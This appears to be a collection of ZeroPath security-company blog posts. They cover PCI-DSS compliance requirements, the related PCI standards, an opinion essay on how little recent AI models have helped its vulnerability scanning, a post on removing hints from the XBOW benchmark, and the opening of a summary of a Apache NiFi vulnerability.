PCI-DSS is required by any organization (no matter the size) that stores, processes, or transmits payment-card account data. This captures two broad populations. * **First are merchants**: the coffee shop with a single countertop terminal ([different PCI standards for day-to-day payment mediums like terminal machines](https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance)), the local e-commerce start-up accepting card payments through Shopify, and retailers such as Walmart or Amazon that operate an enormous volume of card data spanning online and brick-and-mortar sales. Visa, Mastercard, AMEX, Discover, and JCB classify all these merchants into four categories based on their transaction-volume “levels,” so even a sole proprietor who handles a handful of card payments a day is technically in scope, while a firm like Target, which processes millions of transactions a year faces heavier validation and annual on-site assessments. * **Second are service providers**: products that store, process, or transmit cardholder data on behalf of others. Payment gateways, such as Stripe, Adyen, or Square, are examples of this category, which handle card data for thousands of merchants. Also, note that the data center and managed-hosting companies, such as Equinix, call-center outsourcers that record card numbers for reservations (think Marriott’s reservation hotline run by a BPO), and even tokenization or fraud-scoring SaaS vendors are likewise considered service providers and must be PCI-DSS compliant if they ever touch the primary account number or related authentication data. Therefore, this way both categories get compliant. During the Home Depot’s self-managed point-of-sale network breach in 2014, the compromise exposed approximately fifty million card numbers; investigators later linked the initial intrusion to lax segmentation and password reuse, areas that the PCI-DSS clearly addresses in its core requirements. In 2020, the cloud service provider Jelly Bean received fines after investigators discovered that merchants using its web-checkout widget were unintentionally collecting raw magnetic-stripe data, placing every one of those merchants out of compliance, even though they had never seen the card numbers directly. ## Breakdown of PCI-DSS Compliance  ### Current Version: PCI DSS 4.0.1 - Released: March 31, 2022 (4.0), Updated June 2024 (4.0.1) - Mandatory Since: April 1, 2024 - PCI DSS 3.2.1 retired: March 31, 2024 - Future requirements become mandatory: March 31, 2025 (51 new requirements) ### The 12 Core Requirements To be PCI-DSS compliant, an organization must meet these 12 foundational requirements, which primarily ensure that data is collected, transmitted, and stored securely with proper implementation of software development practices. #### 1. Build and Maintain a Secure Network Firewalls create the first line of defense between trusted internal networks and the open internet, as well as within an organization, between the cardholder data environment (CDE) and the rest of the corporate network. If you are looking to be PCI-DSS compliant, start by drawing a simple diagram of every place your company’s systems touch the public internet and every internal segment that will ever see cardholder data. Anything inside the “cardholder-data environment” (CDE) must be protected by a firewall or cloud security group that blocks all traffic except that explicitly required by a payment function. #### 2. Eliminate default credentials and settings Every factory password, SNMP string, demo certificate, and open service must be changed or disabled before a system goes live. Walk through each router, switch, virtual machine image, SaaS admin panel, payment terminal, and development stack. Change or disable factory passwords, demo accounts, “admin/admin” logins, public SNMP strings, and self-signed test certificates before the device ever sees production traffic. If you maintain golden images in a CI/CD pipeline, bake these hardening steps into the pipeline so new servers launch in a secure state by default. #### 3. Encrypt or truncate stored card data Any primary account number (PAN), expiration date, or cardholder name that resides on disk, in database tables, or backups must be rendered unreadable through strong cryptography or irreversible hashing, with cryptographic keys stored and rotated under strict management. Once the authorization is complete, orgs should not retain any of the additional sensitive authentication data (full magnetic-stripe contents, CVC2/CVV2, PIN blocks). By ensuring that a compromised storage platform reveals nothing useful, this requirement significantly limits the financial value of a breach and the incentive to attack. #### 4. Encrypt card data in transit Whether data travels between a point-of-sale terminal and a payment processor, or between cloud microservices, the traffic must use up-to-date secure protocols (TLS 1.2+ or authenticated VPN tunnels), strong cipher suites, and properly validated certificates. Encryption in transit closes a common interception path: network sniffing, rogue access points, and man-in-the-middle attacks become ineffective because the attacker sees only ciphertext. #### 5. Remove malware on every vulnerable system PCI-DSS requires centrally managed, signature-based, and behavior-based anti-malware solutions on every workstation and server commonly targeted by malicious code, with continuous updates, alerting, and tamper protection. Deploy an endpoint-detection-and-response (EDR) agent to every workstation and server that can reach the CDE. Turn on real-time scanning, automatic signature updates, and tamper protection; forward alerts to a shared security inbox or SIEM. If you build container images, run malware scans in the CI pipeline, and block the build when high-severity detections appear. #### 6. Deploy and maintain secure systems and applications. [Zeropath is helping companies be more secure for PCI Compliance.](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance) As a company handling user-sensitive data, you must ensure that the software is secure from all types of vulnerabilities, including recent and previously disclosed ones. Track vendor security advisories, patch critical vulnerabilities within one month, follow secure coding practices, and perform code reviews either manually or scale it better with SAST tools like ZeroPath in the pipeline. We understand if this sounds like a lot of things to keep track of, and it is. Therefore, AI Native SAST tools like ZeroPath make security checks for PCI compliance easier for larger teams. ZeroPath runs periodic scans over the internal codebase and identifies vulnerabilities, such as authentication flaws and business logic issues, that other SAST tools still can't detect. If you're interested in learning how ZeroPath works, you can find a [detailed behind-the-scenes here](https://zeropath.com/blog/how-zeropath-works). #### 7. Access control policies: These policies must map every account, role, and privilege to a documented business justification, adhering to the principle of least privilege. The standard requires role-based access control, separation of duties, and formal authorization workflows. Limiting who can read, write, or query card data reduces the leakage significantly. Create role-based access control (RBAC) groups that reflect specific job duties, such as “Support-L1,” “DBA-Read,” and “Dev-No-Prod.” Nobody outside the Payment Operations team should be able to view full PANs, and no single person should be responsible for both approving and deploying code to production. Review group membership every quarter; use an identity-governance tool that automatically deactivates accounts after sixty days of inactivity. #### 8. Tie every action to a unique, MFA-protected identity Each person or automated process must use a unique ID, with multi-factor authentication for administrative and remote access. Strong password policies, account-lockout thresholds, and periodic credential rotation are mandatory. These unique identifiers help security teams reconstruct a breach timeline by knowing exactly which identity performed each action. MFA also helps prevent stolen-credential attacks that often target remote access services. #### 9. Restrict physical access to cardholder data Servers, point-of-sale devices, paper storage, and networking closets that contain the CDE must be located in monitored, access-controlled facilities with visitor logging and secure media handling procedures. Physical controls complement logical controls. If someone can walk off with an unencrypted backup tape or plug a hardware keylogger into a cash register, software defenses are not really of much use. #### 10. Collect and store tamper-proof logs Configure syslog or agent-based forwarding from every firewall, server, application, and database into a centralized SIEM. Retain logs for twelve months, keeping the most recent three months “hot” for immediate search. All this data will enable real-time alerting and post-incident analysis. #### 11. Regularly test security systems and processes For most companies, depending on their transaction volume, this could involve a scheduled quarterly to yearly external and internal vulnerability scan using an ASV-approved scanner. If you are actively looking for such scanners, here is a comprehensive list. Along with ASV scans, most companies also conduct a full annual pentest or whenever they launch a significant new payment flow. You can get a [full pentest from ZeroPath](https://zeropath.com/products/penetration-tests) itself, which is going to be faster, efficient, and much more cost-effective than other solutions out there. ZeroPath's average turnaround time for a pentest has consistently been less than a week. #### 12. Security in policy and governance Last but not least, a crucial point in this compliance is how we make decisions, how transparent they are, and how we share them within the team. Companies should have an information-security policy that clearly states who owns each control, outlines the process for reporting violations, and specifies how to handle incidents. Have senior leadership sign it, publish it on the company wiki, and train every employee on the parts that apply to their role. Maintain a third-party inventory listing of every vendor that handles card data, require them to prove their own PCI compliance annually, and include a right-to-audit clause in new contracts. Finally, companies should reach out to a Qualified Security Assessor (QSA) to perform a formal gap assessment and guide them toward the correct Self-Assessment Questionnaire (SAQ) or Report on Compliance (ROC) required for their merchant or service-provider level. ## Conclusion & Next Steps Many people and organizations read PCI DSS as a to-do list, but at its core, it's more about an engineering design discipline. Firewalls, encryption, and RBAC give card data a hardened perimeter, yet the system is only as strong as the code your team ships every day. Requirement 6, which is deploying and maintaining secure systems and applications, is one of the most crucial requirements in this process. Because software changes with every commit, this requirement isn't a one-time config but more like a continuous check, which in many teams needs to happen multiple times a day. That is precisely where a security platform, rather than a compliance cheatsheet, is required. ZeroPath’s platform addresses this by starting with its core [best-in-class, AI-native SAST engine](https://zeropath.com/products/sast). Following that, you also get to secure your software supply chain with [Software Composition Analysis (SCA)](https://zeropath.com/products/sca), prevent insecure configurations with [Infrastructure as Code (IaC) scanning](https://zeropath.com/products/iac), and even [detect and validate leaked secrets](https://zeropath.com/products/secrets) hidden deep within your codebase. That's one complete AI-native AppSec solution that meets and exceeds compliance needs. This continuous process begins on the first run, where ZeroPath indexes and scans your entire application. This could also be the first for your team to shift left. From that point on, security is embedded directly into the development lifecycle through automated [PR Reviews](https://zeropath.com/products/pr-reviews), ensuring developers can catch vulnerabilities before they are ever merged. For many common issues, ZeroPath can even [automatically fix security vulnerabilities](https://zeropath.com/products/sast-autofix) with AI-powered code remediation. While these might seem like building a lot of tooling infra, it really comes down to embedding these controls directly into the developer workflow through [CI/CD and tool integrations](https://zeropath.com/products/integrations) and automatically syncing findings with [AppSec Risk Management](https://zeropath.com/products/risk) tools like Jira, Linear, Asana, GitHub, GitLab, Azure DevOps and many more. ZeroPath makes Requirement 6 from an annual audit concern into a background service that takes care of itself autonomously. If PCI-DSS is on your roadmap and you need help meeting security requirements, the ZeroPath team is more than happy to help. Moreover, we also have a [detailed walkthrough of how you can achieve the security requirement for PCI-DSS with ZeroPath](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance). --- #### What is PCI Compliance? Does your business need PCI Compliance? - **Date**: July 15, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 5 minutes - **Keywords**: PCI compliance, PCI DSS, Payment Security, Fintech Compliance, Credit Card Processing, Application Security, Compliance Requirements, PCI PTS, PCI 3DS, PCI P2PE - **URL**: https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance PCI compliance refers to security standards protecting cardholder data during transactions. It includes standards like PCI DSS for handling card data, PCI PTS for payment terminals, and PCI 3DS for online fraud prevention. Businesses must determine their specific needs, like whether they store card information or use physical readers. --- If you are ever collecting your customers' card data or outsourcing that task to services like Stripe, PayPal, Square, etc, you have likely heard of PCI compliance. ## What is PCI Compliance? Payment Card Industry (PCI) compliance refers to a set of security standards that protect cardholder data at all stages of acceptance, processing, storage, and transmission. It’s not just one security standard but an umbrella term that includes: • **PCI DSS**: For any company storing, processing, or sending card data. If you accept cards, PCI DSS is the leading standard you need to follow. • **PCI PTS**: For manufacturers of payment terminals (like card readers). The hardware device you use to enter your PIN at a store (like a card reader) must be PCI PTS compliant. • **PCI PIN**: For businesses that process PIN transactions. If you handle customer PINs, you need to follow PCI PIN rules. • **PCI P2PE**: For anyone encrypting card data from the terminal to the payment processor. To ensure card data remains safe from end to end, use PCI P2PE. • **PCI 3DS**: For companies using 3D Secure to stop online fraud. If your site requires additional authentication when you make a payment, that’s PCI 3DS. Now, depending on what a company does, it might need to comply with different standards. The PCI Security Standards Council, comprising major credit card companies such as Visa, Mastercard, American Express, Discover, and JCB, has developed these standards. Not complying with them can result in hefty fines, increased transaction fees, or even the loss of the ability to process card payments. Some states, such as Nevada, have also incorporated PCI DSS into law, but for most, it remains a contractual obligation. **Note**: Most of the time, when people say “PCI compliance,” they’re [talking about PCI DSS](https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant), because that’s the standard that applies to most businesses. ## Does your company need PCI Compliance? Whether you need PCI compliance or not is dependent on various factors. * Does your company store the card information directly? Or outsource it to payment providers? * Does the company use a physical card reader in its stores? * Even though you may not see your customer’s card details, you may still need to follow PCI compliance standards to some extent. In practice, it looks something like this: 1. **Retail Chain**: Let’s say you’re building a payment system for a retail chain: * Your company must be PCI DSS compliant because you handle cardholder data. * The POS software you use must be PA-DSS compliant. * The card readers in your stores must be PCI PTS compliant. * If you use end-to-end encryption, you may also need to follow PCI P2PE guidelines. 2. **Online travel booking**: Now, let’s say you’re building a website like Expedia or MakeMyTrip, where users can book flights, hotels, and rental cars. * PCI DSS: Because you collect, process, and store cardholder data from customers booking travel online. * PA-DSS: The payment gateway must be PA-DSS compliant. If you use a third-party payment application (like a checkout widget or embedded payment form), that software must be PA-DSS compliant to ensure it handles card data securely. * PCI PTS: If you offer in-person bookings at airport kiosks, the card readers must be PCI PTS compliant. For customers who pay at a physical kiosk, the hardware used to read their cards must be compliant. * PCI P2PE: If you use point-to-point encryption for card data from the kiosk to your servers, you need PCI P2PE compliance. The compliance ensures the encryption of card data from the moment it's swiped at the kiosk until it reaches your payment processor. * PCI 3DS: If you support 3D Secure for online payments, you must be PCI 3DS compliant. When a customer is prompted for an OTP or biometric authentication while making an online payment, your system must handle that data per PCI 3DS standards. * PCI PIN: If you process PIN-based debit transactions at kiosks, you must be PCI PIN compliant. This covers the secure handling and encryption of PINs entered by customers. This might feel like a lot of work to get a simple end-to-end business running, and in fact, it is. However, in day-to-day operations, you use different providers and abstractions to simplify a lot of compliance work. For example, you can use a third-party payment processor (such as Stripe or PayPal), which shifts much of the PCI burden to them; however, you still need to ensure that your integration is secure. While there are numerous PCI compliance standards, the most standard one is PCI-DSS, which is required by almost every company dealing with payments in some form or another. If you're in the same boat, [here's our guidance on PCI-DSS and how you can achieve PCI-DSS compliance](https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant). ZeroPath also helps teams achieve PCI-DSS compliance security standards, and if it's something on your roadmap, it might be worth shifting security left in the SDLC from the very beginning and using [AI-native SAST like ZeroPath to simplify and automate your security](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance). --- #### On Recent AI Model Progress - **Date**: March 24, 2025 - **Authors**: Dean Valentine - **Reading Time**: 18 minutes - **Keywords**: Insights, Benchmarking, OpenAI, Anthropic - **URL**: https://zeropath.com/blog/on-recent-ai-model-progress Exploring the real-world effectiveness of AI advancements through our experiences building security-focused AI tools, with honest perspectives on capability gaps, benchmarking challenges, and practical applications. --- About nine months ago, I and three friends decided that AI had gotten good enough to monitor large codebases autonomously for security problems. We started a company around this, trying to leverage the latest AI models to create a tool that could replace at least a good chunk of the value of human pentesters. We have been working on this project since June 2024. Within the first three months of our company's existence, Claude 3.5 sonnet was released. Just by switching the portions of our service that ran on gpt-4o, our nascent internal benchmark results immediately started to get saturated. I remember being surprised at the time that our tooling not only seemed to make fewer basic mistakes, but also seemed to *qualitatively* improve in its written vulnerability descriptions and severity estimates. It was as if the models were better at inferring the intent and values behind our prompts, even from incomplete information. As it happens, there are ~basically no public benchmarks for security research. There are "[cybersecurity](https://arxiv.org/abs/2408.01605)" evals that ask models questions about isolated blocks of code, or "CTF" evals that give a model an explicit challenge description and shell access to a <1kLOC web application. But nothing that gets at the hard parts of application pentesting for LLMs, which are 1. Navigating a real repository of code too large to put in context, 2. Inferring a target application's security model, and 3. Understanding its implementation deeply enough to learn where that security model is broken. For these reasons I think the task of vulnerability identification serves as a good litmus test for how well LLMs are generalizing outside of the narrow software engineering domain. Since 3.5-sonnet, we have been monitoring AI model announcements, and trying pretty much every major new release that claims some sort of improvement. Unexpectedly by me, aside from a minor bump with 3.6 and an even smaller bump with 3.7, literally none of the new models we've tried have made a significant difference on either our internal benchmarks or in our developers' ability to find new bugs. This includes the new test-time OpenAI models. At first, I was nervous to report this publicly because I thought it might reflect badly on us as a team. Our scanner has improved a lot since August, but because of regular engineering, not model improvements. It could've been a problem with the architecture that we had designed, that we weren't getting more milage as the SWE-Bench scores went up. But in recent months I've spoken to other YC founders doing AI application startups and most of them have had the same anecdotal experiences: 1. o99-pro-ultra announced, 2. Benchmarks look good, 3. Evaluated performance mediocre. This is despite the fact that we work in different industries, on different problem sets. Sometimes the founder will apply a cope to the narrative ("We just don't have any PhD level questions to ask"), but the narrative is there. I have read the studies. I have seen the numbers. Maybe LLMs are becoming more fun to talk to, maybe they're performing better on controlled exams. But I would nevertheless like to submit, based off of internal benchmarks, and my own and colleagues' perceptions using these models, that whatever gains these companies are reporting to the public, they are not reflective of economic usefulness or generality. They are not reflective of my Lived Experience or the Lived Experience of my customers. In terms of being able to perform entirely new tasks, or larger proportions of users' intellectual labor, I don't think they have improved much since August. Depending on your perspective, this is good news! Both [for me personally](https://lukaspetersson.com/blog/2025/power-vertical/), as someone trying to make money leveraging LLM capabilities while they're too stupid to solve the whole problem, and for people worried that a quick transition to an AI-controlled economy would present moral hazards. At the same time, there's an argument that the disconnect in model scores and the reported experiences of highly attuned consumers is a bad sign. If the industry can't figure out how to measure even the *intellectual ability* of models now, while they are mostly confined to chatrooms, how the hell is it going to develop metrics for assessing the *impact* of AIs when they're doing things like managing companies or developing public policy? If we're running into the traps of Goodharting before we've even delegated the messy hard parts of public life to the machines, I would like to know why. Are the AI labs just cheating? ------------------------------ AI lab founders believe they are in a civilizational competition for control of the entire future lightcone, and will be made Dictator of the Universe if they succeed. Accusing these founders of engaging in fraud to further these purposes is quite reasonable. Even if you are starting with an unusually high opinion of tech moguls, you should not expect them to be honest sources on the performance of their own models in this race. There are very powerful short term incentives to exaggerate capabilities or selectively disclose favorable capabilities results, if you can get away with it. Investment is one, but attracting talent and winning the (psychologically impactful) prestige contests is probably just as big a motivator. And there is essentially no legal accountability compelling labs to be transparent or truthful about benchmark results, because nobody has ever been sued or convicted of fraud for training on a test dataset and then reporting that performance to the public. If you tried, any such lab could still claim to be telling the truth in a very narrow sense because the model "really does achieve that performance on that benchmark". And if first-order tuning on important metrics could be considered fraud in a technical sense, then there are a million other ways for the team responsible for juking the stats to be slightly more indirect about it. In the first draft of this essay, I followed the above paragraph up with a statement like "That being said, it's impossible for all of the gains to be from cheating, because some benchmarks have holdout datasets." There are some recent private benchmarks such as SEAL that seem to be [showing improvements](https://scale.com/leaderboard)[^1]. But every single benchmark that OpenAI and Anthropic have accompanied their releases with has had a test dataset publicly available. The only exception I could come up with was the [ARC-AGI](https://arcprize.org/2024-results) prize, whose highest score on the "semi-private" eval was achieved by o3, but which nevertheless has not done a publicized evaluation of either Claude 3.7 Sonnet, or DeepSeek, or o3-mini. And on o3 proper: ![](https://39669.cdn.cke-cs.com/rQvD3VnunXZu34m86e5f/images/43bf5de3c75620984bb612bcdb23beb3cc0fe2034b4f7ed9.png) So maybe there's no mystery: The AI lab companies are lying, and when they improve benchmark results it's because they have seen the answers before and are writing them down. In a sense this would be the most fortunate answer, because it would imply that we're not actually that bad at measuring AGI performance; we're just facing human-initiated fraud. Fraud is a problem with people and not an indication of underlying technical difficulties. I'm guessing this is true in part but not in whole. Are the benchmarks not tracking usefulness? ------------------------------------------- Suppose the only thing you know about a human being is that they scored 160 on Raven's progressive matrices (an IQ test)[^2]. There are some inferences you can make about that person: for example, higher scores on RPM are correlated with generally positive life outcomes like higher career earnings, better health, and not going to prison. You can make these inferences partly because in the test population, scores on the Raven's progressive matrices test are informative about humans' intellectual abilities on [related tasks](https://en.wikipedia.org/wiki/G_factor_(psychometrics)). Ability to complete a standard IQ test and get a good score gives you information about not just the person's "test-taking" ability, but about how well the person performs in their job, whether or not the person makes good health decisions, whether their mental health is strong, and so on. Critically, these correlations did not have to be *robust* in order for the Raven's test to become a useful diagnostic tool. Patients don't *train* for IQ tests, and further, the human brain was not *deliberately designed* to achieve a high score on tests like RPM. Our high performance on tests like these (relative to other species) was something that happened incidentally over the last 50,000 years, as evolution was indirectly tuning us to track animals, irrigate crops, and win wars. This is one of those observations that feels too obvious to make, but: with a few notable exceptions, almost all of our benchmarks have the look and feel of standardized tests. By that I mean each one is a series of academic puzzles or software engineering challenges, each challenge of which you can digest and then solve in less than a few hundred tokens. Maybe that's just because these tests are quicker to evaluate, but it's as if people have taken for granted that an AI model that can get an IMO gold medal is gonna have the same capabilities as Terence Tao. "Humanity's Last Exam" is thus not a test of a model's ability to finish Upwork tasks, or complete video games, or organize military campaigns, it's a free response quiz. I can't do any of the Humanity's Last Exam test questions, but I'd be [willing to bet today](https://manifold.markets/MilfordHammerschmidt/will-the-first-ai-model-that-satura) that the first model that saturates HLE will still be unemployable as a software engineer. HLE and benchmarks like it are cool, but they fail to test the major deficits of language models, like how they can only remember things by writing them down onto a scratchpad like the memento guy. [Claude Plays Pokemon](https://arstechnica.com/ai/2025/03/why-anthropics-claude-still-hasnt-beaten-pokemon/) is an overused example, because video games involve a synthesis of a lot of human-specific capabilities, but the task fits as one where you need to occasionally recall things you learned thirty minutes ago. The results are unsurprisingly bad. Personally, when I want to get a sense of capability improvements in the future, I'm going to be looking almost exclusively at benchmarks like Claude Plays Pokemon. I'll still check out the [SEAL leaderboard](https://scale.com/leaderboard) to see what it's saying, but the deciding factor for my AI timelines will be my personal experiences in Cursor, and how well LLMs are handling long running tasks similar to what you would be asking an employee. Everything else is too much noise. Are the models smart, but bottlenecked on alignment? ---------------------------------------------------- Let me give you a bit of background on our business before I make this next point. As I mentioned, my company uses these models to scan software codebases for security problems. Humans who work on this particular problem domain (maintaining the security of shipped software) are called AppSec engineers. As it happens, most AppSec engineers at large corporations have a *lot* of code to secure. They are desperately overworked. The question the typical engineer has to answer is not "how do I make sure this app doesn't have vulnerabilities" but "how do I manage, sift through, and resolve the overwhelming amount of security issues already live in our 8000 product lines". If they receive an alert, they want it to be affecting an active, ideally-internet-reachable production service. Anything less than that means either too many results to review, or the security team wasting limited political capital to ask developers to fix problems that might not even have impact. So naturally, we try to build our app so that it only reports problems affecting an active, ideally-internet-reachable production service. However, if you merely *explain* these constraints to the chat models, they'll follow your instructions sporadically. For example, if you tell them to inspect a piece of code for security issues, they're inclined to respond *as if* you were a developer who had just asked about that code in the ChatGPT UI, and so will speculate about code smells or near misses. Even if you provide a full, written description of the circumstances I just outlined, pretty much every public model will ignore your circumstances and report unexploitable concatenations into SQL queries as "dangerous". It's not that the AI model thinks that it's following your instructions and isn't. The LLM will actually say, in the naive application, that what it's reporting is a "potential" problem and that it might not be validated. I think what's going on is that large language models are trained to "sound smart" in a live conversation with users, and so they prefer to highlight possible problems instead of confirming that the code looks fine, [just like human beings do when they want to sound smart](https://www.lesswrong.com/posts/xsB3dDg5ubqnT7nsn/poc-or-or-gtfo-culture-as-partial-antidote-to-alignment). Every LLM wrapper startup runs into constraints like this. When you're a person interacting with a chat model directly, sycophancy and sophistry are a minor nuisance, or maybe even adaptive. When you're a team trying to compose these models into larger systems (something necessary because of the aforementioned memory issue), wanting-to-look-good cascades into breaking problems. Smarter models might solve this, but they also might make the problem harder to detect, especially as the systems they replace become more complicated and harder to verify the outputs of. There will be many different ways to overcome these flaws. It's entirely possible that we fail to solve the core problem before someone comes up with a way to fix the outer manifestations of the issue. I think doing so would be a mistake. These machines will soon become the beating hearts of the society in which we live. The social and political structures they create as they compose and interact with each other will define everything we see around us. It's important that they be as virtuous as we can make them. * * * 1. Though even this is not as strong as it seems on first glance. If you click through, you can see that most of the models listed in the Top 10 for everything except the tool use benchmarks were evaluated after the benchmark was released. And both of the Agentic Tool Use benchmarks (which do not suffer this problem) show curiously small improvements in the last 8 months. 2. Not that they told you they scored that, in which case it might be the most impressive thing about them, but that they did. --- #### Towards Actual SAST Benchmarks - **Date**: November 13, 2024 - **Authors**: ZeroPath Team - **Reading Time**: 7 minutes - **Keywords**: SAST, Benchmarking, Insights, AI - **URL**: https://zeropath.com/blog/toward-actual-benchmarks ZeroPath enhances XBOW's open-source security benchmarks by removing AI-favoring hints, adding false positive testing, and creating a more realistic evaluation framework for comparing modern security scanning tools. --- In theory, code scanning tools and dynamic testing tools should have eliminated much of the OWASP top 10 years ago. In practice, static analysis of arbitrary applications are difficult, there are a lot of vendors of widely varying quality and many of these vendors gatekeep their product behind a 100k contract sizes. The best way to prove that a scanner works well is by finding [active vulnerabilities in popular software](https://zeropath.com/blog/0day-discoveries). After all, if your "AI" isn't effective or reliable enough to find problems in current applications, why should the security community care? That said, benchmarks are still useful, because with numbers, you can quantify differences between vendors and track their improvement or regression over time. There have been several attempts at benchmarking bugfinding programs. However, before the advent of LLMs, projects like [the OWASP benchmark](https://github.com/OWASP-Benchmark/BenchmarkJava) were aimed towards testing specific abilities like correct control flow analysis instead of a broader capability to find security problems in realistic applications. It was simply not expected in 2015 that security tools would be able to differentiate test code from production code read comments and identifiers, understand auth, or infer deployment details of an application from things like Dockerfiles. Yet nowadays, they can, which is why the ZeroPath team was excited to see that XBOW open-sourced their DAST benchmarks [here](https://github.com/xbow-engineering/validation-benchmarks). As the README claims, "Several external contractors were engaged in [their] development... with the intention of mirroring the variety of vulnerability classes typically encountered by our security team during their routine pen testing/bug bounty engagements." [We were so excited we decided to fork it so that we could test major SAST vendors](https://github.com/ZeroPathAI/validation-benchmarks)! The good news is that we did very well, for a breakdown on the stats check out our [blog post](https://zeropath.com/blog/benchmarking-zeropath). ## First: What was the XBOW Benchmark? The original XBOW benchmark is a set of 104 toy applications, generally written in Python and PHP. Each of these apps includes at least one security problem. The applications are written in such a way that exploiting them presents a flag, like a CTF challenge; to confirm that the AI has exploited the challenge, it passes that flag back to the overseer, and the overseer marks that challenge as completed if the flag is correct. XBOW also apparently compared their tool's performance on the benchmark with [real-world](https://xbow.com/blog/xbow-vs-humans/) performance by humans, and matched or exceeded the performance of real people. So there's no doubt that XBow has created a remarkable tool. Security problems in the XBOW benchmark even include standard issues like command injection and XSS, as well as business logic problems like IDOR. The last part is nice because auth and business logic issues are common finds in actual security assessments but haven't been built into any benchmarks until now. ## Adding False Positives So why fork it? Well, first, the XBOW benchmark only reports one summary statistic: the percentage of challenges finished. As anyone who's used a SAST offering knows, the primary problem with most application security scanners is not that they report nothing, it's that they report lots of incorrect findings or findings of no actual significance. If you're not a CISO or an Appsec engineer, this problem might sound trivial. But most code does not contain security flaws, and so much like a test for a rare disease, a tool that invalidates 99% of potential issues will still mostly report garbage when run against a new, large codebase. So, in a sense, designing security benchmarks the way XBOW did - such that the findings it reports are unambiguous - sidesteps a key part of the problem, especially when you consider how difficult it is to get very high reliability out of LLMs. A better benchmark would measure whether the tool is also reporting bugs that are not there. To fix this, instead of having the static analysis tool retrieve a flag, we took the same benchmarks for each of the 25 challenges and added a counterpart that provides a tricky patch. The tool is run on both the patched and unpatched challenges; if it reports a bug on the latter, its score is noted in the false positive section. ## Removing Hints On top of that, since Xbow develops a black-box security testing tool, they naturally don't expect it to have access to the code. This means the benchmark developers were free to include variable names and comments that referred to the problem the AI was supposed to find. Since we wanted to test white box scanners, we had to do our best to remove those 'hints' in order to present a fair comparison with the scanners that don't use LLMS. We also had to modify configuration files like Dockerfiles that a static analysis tool could read in order to understand the problem it was expected to find. XBOW also includes 'challenge hints' that are designed to be consumed by humans or tools hacking the application. For example, in challenge '6', the description says: > A simple SQLi example with an allowlist filter of words to try to prevent exploitation. On the one hand, these directions are common features of CTFs. On the other hand, what these benchmarks are supposed to measure is whether or not your tool can find bugs in the wild, without prompting. Giving 'tips' like this makes a test strictly less representative, and for ZeroPath's purposes, it also provides an unfair advantage to LLMS over legacy tools. So, we removed them entirely from the test; instead the static analysis tool is simply presented with the ## Hints to Dynamic Testers One thing we didn't expect to find when starting to do that was that the hints also leaked into the output of the toy web applications themselves. [For example, XBEN-020-24, an SSRF challenge gives the following index to the bot](https://github.com/xbow-engineering/validation-benchmarks/blob/a0fe6cf5e01196def7e8bd788d6c5dffa325a8c4/benchmarks/XBEN-020-24/ssrf-demo-app/index.php), which contains the class of vulnerability in the title: ```html SSRF Demo ...Removed for Brevity... ``` This also extended past conventional technical vulnerabilities and into broken authentication vulnerabilities. [XBEN-069-24](https://github.com/xbow-engineering/validation-benchmarks/tree/a0fe6cf5e01196def7e8bd788d6c5dffa325a8c4/benchmarks/XBEN-069-24), a PHP application, labeled as a medium challenge containing an IDOR (and a privilege escalation), [has the word IDOR plastered on every page accessible to the bot](https://github.com/xbow-engineering/validation-benchmarks/blob/a0fe6cf5e01196def7e8bd788d6c5dffa325a8c4/benchmarks/XBEN-069-24/app/website/profile.php#L22): ```html User Profile | IDOR Eats ``` Even in the context of dynamic testing, this gives an AI unfair advantage over traditional tools, making the benchmark an inaccurate representation of the tool's effectiveness in black-box penetration testing. We had removed some obvious symbols, renamed files containing the class of issue (including updating corresponding configuration and docker files), removed the benchmark.json and README file. However, many function names, route names, and variables remained that contained explicit references to vulnerabilities (e.g., routes like '/xss' or '/sqli'). We acknowledge that as an AI-powered SAST tool, ZeroPath could potentially have an advantage in processing these meaningful identifiers compared to traditional SAST tools, and with more time we would have removed them. However, we think this didn't significantly skew the results of our scans because: 1. The key evidence comes from our false positive testing: If ZeroPath was heavily relying on these identifier names to make determinations, we would have seen elevated false positive rates in the patched variants - which contained the same "suspicious" route and function names but with secure implementations. The fact that our false positive rate remained low indicates ZeroPath was doing legitimate semantic analysis of the code rather than being biased by these naming hints. 2. While we recommend future benchmark creators remove these identifiers entirely to create the most rigorous possible test environment, the correlation between names and actual vulnerabilities in real-world code is complex. Developers sometimes use security-related names precisely because they're implementing security controls, making naive reliance on such hints potentially counterproductive. 3. The benchmark results demonstrate ZeroPath's ability to accurately distinguish between vulnerable and secure implementations of the same functionality, even when similarly named. This suggests the core analysis is based on understanding code semantics rather than surface-level naming patterns. ## Final Thoughts Working with the XBOW benchmark brought to light some interesting challenges in evaluating security tools. Benchmarks are great, but they need to reflect the complexities of real-world applications to be truly useful. By removing the embedded hints and introducing false positives, we aimed to create a more realistic testing environment. This leveled the playing field between traditional SAST tools and AI-driven solutions like ZeroPath. We were surprised to find hints leaking into dynamic testing, which showed us how even small details can skew results. It highlighted the importance of careful benchmark design, especially when assessing tools meant for black-box penetration testing. In the end, this experience reinforced the idea that benchmarks need to be thoughtfully crafted to provide meaningful insights. We're excited about the progress and look forward to seeing how these tools continue to evolve in tackling the complexities of modern application security. --- ### Research (10 most recent of 18 total) #### CVE-2026-39816 Allows Privesc And Code Execution In Apache NiFi - **Date**: May 7, 2026 - **Authors**: John Walker - **Reading Time**: 6 minutes - **Keywords**: CVE-2026-39816, Apache NiFi, NiFi, privilege escalation, remote code execution, TinkerPop, Groovy, ExecuteGraphQuery, vulnerability, open source security - **URL**: https://zeropath.com/blog/nifi-cve-2026-39816-privesc-rce ZeroPath Research discovered CVE-2026-39816 in Apache NiFi: when the optional nifi-other-graph-services-nar bundle is installed, authenticated users without the EXECUTE_CODE privilege can run arbitrary code on the NiFi server via ExecuteGraphQuery against a TinkerPop target. Affects NiFi >= 2.0.0-M1 and < 2.9.0; patched in 2.9.0. --- ## Summary ZeroPath Research discovered a vulnerability in [Apache NiFi](https://nifi.apache.org/) that allows authenticated users without the EXECUTE_CODE privilege to execute arbitrary code on the NiFi server if administrators have installed the optional nifi-other-graph-services-nar NAR. The issue was tracked in 